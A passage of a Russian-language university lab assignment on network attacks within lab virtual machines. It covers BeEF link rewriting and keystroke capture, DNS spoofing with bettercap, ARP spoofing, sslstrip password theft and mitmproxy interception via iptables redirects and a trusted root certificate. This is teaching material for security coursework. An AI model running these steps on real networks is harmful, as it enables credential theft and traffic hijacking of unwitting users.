Используем Link Rewrite (Click Events) для перезаписи ссылок. Преимущество варианта с “Click Events” заключается в том, что фактическая перезапись ссылки произойдет только при нажатии на нее, а до этого жертва будет видеть старую ссылку. Подобное поведение можно считать легкой формой [кликджекинга](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%BA%D0%B4%D0%B6%D0%B5%D0%BA%D0%B8%D0%BD%D0%B3). Кроме злоумышленников, подобным обманом занимаются поисковые системы для отслеживания нажатий пользователей.



Перезапись ссылок в BeEF



Пользователь видит старую ссылку

### DNS спуфинг

1. Создать файл hosts: так как не требуются права root, сделать это можно в графическом текстовом редакторе mousepad или в консольных редакторах nano или vim. Записать одну строку:
* ip XXYY.com
* Где ip - IP ВМ атакующего, XXYY - номер группы и порядковый номер студента в группе. Например:
* 192.168.100.194 2407.com
* Сохранить в домашнюю директорию пользователя Kali под именем hosts.
1. В bettercap:
* set dns.spoof.hosts /home/kali/hosts
dns.spoof on
1. (Проверка) В ВМ пользователя сети в терминале выполнить dig XXYY.com. В выводе должен быть IP адрес ВМ атакующего.

### MiTM с перешифровкой соединения

Выключить sslstrip, если он включен (некоторые прошлые пункты ЛР перестанут работать!):

http.proxy off

Открыть новый терминал, ввести

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

После чего запустить mitmproxy. В браузере либо соглашаться с ошибками установки безопасного соединения (“Accept the Risk and Continue”), либо установить корневой сертификат:

1. В ВМ атакующего в новом терминале: python -m http.server -d ~/.mitmproxy
2. В ВМ пользователя сети: открыть в браузере http://ip:8000/, где ip - IP адрес ВМ атакующего (виден в bettercap), скачать mitmproxy-ca.pem
3. Добавить сертификат в Firefox: Alt на клавиатуре > Edit > Settings > Privacy & Security > View Certificates > Authorities > Import > mitmproxy-ca.pem, поставить галочку “Trust this CA to identify websites”, нажать OK.

Очистить список в mitmproxy можно нажатием z.

Откатить изменения можно заменив -A на -D в аргументах к iptables.

## Задание

Далее XXYY - число, где XX - номер группы, YY - порядковый номер студента в группе.

1. Запустить ВМ маршрутизатора, пользователя сети, и атакующего. Последние 4 цифры MAC-адреса ВМ атакующего должны быть XXYY.
2. Изучить вывод Wireshark в ВМ атакующего и ВМ пользователя сети при открытии веб-страницы (или использовании curl) в ВМ пользователя сети
3. Изучить вывод ip neigh в терминале ВМ пользователя сети
4. Запустить ARP спуфинг в ВМ атакующего, изучить вывод Wireshark при применении атаки (фильтр not arp) и при открытии веб-страницы в ВМ пользователя, изучить вывод ip neigh
5. Перехватить пароль, содержащий на XXYY, атакой sslstrip
6. Запустить BeEF в ВМ атакующего, включить инъекцию BeEF в страницы ВМ пользователя сети
7. Перехватить нажатые клавиши XXYY в BeEF, перезаписать ссылку
8. Запустить DNS спуфинг с перенаправлением XXYY.com на ВМ атакующего
9. (Доп. задание) остановить sslstrip, перехватить MiTM атакой с перешифровкой соединения пароль, содержащий на XXYY

В отчет:

* Пункт 4: скриншот с ip neigh в ВМ пользователя
* Пункт 5: скриншот с паролем в bettercap
* Пункт 7: скриншот с журналом BeEF с нажатыми клавишами
* Пункт 9: скриншот с открытой странией https://XXYY.com/ в ВМ пользователя, скриншот с паролем в mitmproxy